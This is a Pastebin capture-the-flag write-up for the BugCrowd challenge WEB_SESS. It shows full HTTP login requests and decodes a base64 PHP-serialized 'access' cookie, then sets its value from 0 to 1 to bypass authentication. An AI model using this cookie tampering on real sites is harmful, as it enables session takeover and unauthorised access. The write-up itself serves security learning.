Advertisement
S21

[BugCrowd CTF - WEB_SESS]

S21
Oct 30th, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.44 KB | None | 0 0
  1. BUGCROWD CTF WRITEUP
  2.  
  3. Challenge: WEB_SESS
  4. Description: Nothing...
  5. Point Reward: 5
  6. Difficulty: Easy
  7.  
  8.  
  9. Alright, So we've got another login form but no description?... Seems strange so lets just try logging in with some random credentials and check the response with burp...
  10.  
  11. Request:
  12. ---------------------------------
  13. POST /challenge_2.php HTTP/1.1
  14. Host: april16.bugcrowdctf.com
  15. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
  16. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  17. Accept-Language: en-GB,en;q=0.5
  18. Accept-Encoding: gzip, deflate, br
  19. Referer: https://april16.bugcrowdctf.com/challenge_2.php
  20. Cookie: PHPSESSID=p685nulc6jrp6he6tbitois8e7; access=YToxOntzOjY6ImFjY2VzcyI7aTowO30%3D
  21. Connection: close
  22. Upgrade-Insecure-Requests: 1
  23. Content-Type: application/x-www-form-urlencoded
  24. Content-Length: 31
  25.  
  26. username=&password=JSp%40sSw0rd
  27. ---------------------------------
  28.  
  29. As you can see this is out POST request for logging into the site but notice how we have a cookie called access that is base64 encoded. Let's try and convert this to ascii and see what we have.
  30.  
  31. Base64 decoded Cookie: a:1:{s:6:"access";i:0;}
  32.  
  33. So here we have some data that is serialized and been added to an array.
  34.  
  35. Notice: i=0?.. Let's see what happens if we change this to a 1 and encode with base64.
  36.  
  37. Base64 modified Cookie: YToxOntzOjY6ImFjY2VzcyI7aToxO30%3D
  38.  
  39. Lets replace the cookie in the request with our modified cookie and see if we're logged in
  40.  
  41. Modified Request:
  42. ---------------------------------
  43. POST /challenge_2.php HTTP/1.1
  44. Host: april16.bugcrowdctf.com
  45. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
  46. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  47. Accept-Language: en-GB,en;q=0.5
  48. Accept-Encoding: gzip, deflate, br
  49. Referer: https://april16.bugcrowdctf.com/challenge_2.php
  50. Cookie: PHPSESSID=p685nulc6jrp6he6tbitois8e7; access=YToxOntzOjY6ImFjY2VzcyI7aToxO30%3D
  51. Connection: close
  52. Upgrade-Insecure-Requests: 1
  53. Content-Type: application/x-www-form-urlencoded
  54. Content-Length: 31
  55.  
  56. username=&password=JSp%40sSw0rd
  57. ---------------------------------
  58.  
  59. After replacing the cookie with our modified one and forwarding the request we get the following response:
  60.  
  61. "Nice work! Cookie manipulation can often result in an attacker taking over a user's session.
  62. Read more on OWASP's Periodic Table of Vulnerabilities."
  63.  
  64. Challenge Solved! :)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement